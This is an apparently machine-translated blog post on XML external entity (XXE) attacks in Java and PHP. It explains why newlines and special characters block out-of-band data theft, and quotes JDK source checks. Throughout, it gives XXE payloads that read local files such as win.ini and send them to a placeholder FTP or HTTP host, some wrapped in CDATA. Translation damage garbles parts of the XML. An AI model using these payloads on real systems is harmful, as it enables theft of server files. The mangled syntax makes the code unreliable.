In general, in Java encounter XXE, if there is a echo, it is naturally very good to do, if there is no echo, then we need to construct a channel to bring the data out, in the past in XXE use, if only use HTTP protocol (in addition to the end of CRLF, does not allow the emergence of a separate CR or LF characters), It is not possible to read a file with newlines.

For example, the win.ini file that is often used for validation has newlines

If you want to send this file, you will report Illegal character in URL

In rt. The jar! Line 420 in \sun\net\ WWW \ HTTP \ httpclient. class, there is a line swap judgment

if (var1.indexOf(10) == -1) {
  return var1;
} else {
  throw new MalformedURLException("Illegal character in URL");
Copy the code

If you’re in a PHP environment, it’s easy to do, encode the data and bring it out, like Base64

<? The XML version = "1.0" encoding = "utf-8"? > <! DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd The SYSTEM "" > % DTD;] % send; > <root></root>Copy the code

In this case, even if there is Illegal character in the file, it can be brought out, but Java does not have the relevant encoding protocol. In this case, we often use FTP protocol to transfer data, which may contain \r, \n and other characters

It may seem like a nice solution to the problem, but we often run into unexpected situations when a file has the following characters in it

'" < > &Copy the code

This will result in the following error: the declaration of the entity XXX must end in >

The DTD file is:

<! ENTITY % payload "<! ENTITY &#37; send SYSTEM 'ftp://xxxxxx/%file; '>"> %payload;Copy the code

This is because when XML parses, entities are replaced. The contents of the file with single quotes are concatenated into a string, the single quotes are closed to the single quotes of the send entity, and the data that follows becomes invalid

If the single quotation marks in the file are followed by characters other than the closing Angle bracket >, an error stating that the declaration of the entity XXX must end in > will be reported

If you happen to have a close Angle bracket after a single quote, that’s no good either, you still have junk data behind you, so at most you’ll get an error

How else can you read a special file like this?

XML is designed with this in mind, and while XML generally requires that the use of these symbols is best done by replacing the corresponding character with the corresponding entity reference, you can use the CDATA method if you have to.

CDATA is text Data (Unparsed Character Data) that should not be parsed by an XML parser. Everything in the CDATA section is ignored by the parser. The CDATA section consists of

Let’s change payload:


<! ENTITY % start "<! [CDATA["> <!ENTITY % end "]]>"> <! ENTITY % c "<! ENTITY &#37; rrr SYSTEM 'ftp://xxxx/%start; %r; %end; "> >"Copy the code


<? The XML version = "1.0"? > <! DOCTYPE cdl [ <!ENTITY % r SYSTEM "file:///C:/Users/mrzha/Desktop/test.ini"> <!ENTITY % asd SYSTEM "Http://" > % asd; % c; % RRR;] >Copy the code

But there is no way to do this, because it still needs to be concatenated into the URL, and will still be enclosed by the outer single quote, such as

However, the CDATA method can be used in cases where xxE has an echo, which is a good method.

Normal read cannot be read

Read using the CDATA method, but note that this situation is still not perfect, at least not for the single ampersand

Unless a full entity reference format is formed

In addition, JDK version changes have affected the technique of using FTP as the information transfer channel, which is why the higher version cannot use FTP to read multi-line files. Because var0.toexternalForm ().indexof (10) > -1 in the static method checkURL in ftpurlConnection.class, parse the URL and check if there is a newline in the URL (ASCII 10). Throw an exception if it exists

The specific version of the checkURL begins to check for newlines, and the author did not go one by one to see, interested readers can find

rt.jar! \sun\net\www\protocol\ftp\FtpURLConnection.class

static URL checkURL(URL var0) throws IllegalArgumentException {
        if (var0 != null && var0.toExternalForm().indexOf(10) > -1) {
            MalformedURLException var3 = new MalformedURLException("Illegal character in URL");
            throw new IllegalArgumentException(var3.getMessage(), var3);
        } else {
            String var1 = IPAddressUtil.checkAuthority(var0);
            if (var1 != null) {
                MalformedURLException var2 = new MalformedURLException(var1);
                throw new IllegalArgumentException(var2.getMessage(), var2);
            } else {
                return var0;
Copy the code


In general, in a PHP environment, that’s fine, but in a Java environment, if

Echo (do not need to be carried out via URL) :

1. Ordinary files -> direct read fetch display 2. Files with newline -> direct read fetch displayCopy the code

Files containing special characters -> CDATA Command output

3. The command output contains special characters and a newline file. -> CDATACopy the code

No echo:

1. Ordinary files -> HTTP or FTP can be taken outCopy the code

Files with newlines -> FTP file out 3. Files with special characters ->. 4. Files with special characters and newlines ->. There is no good way for now

Also, be aware of the impact of the JDK version…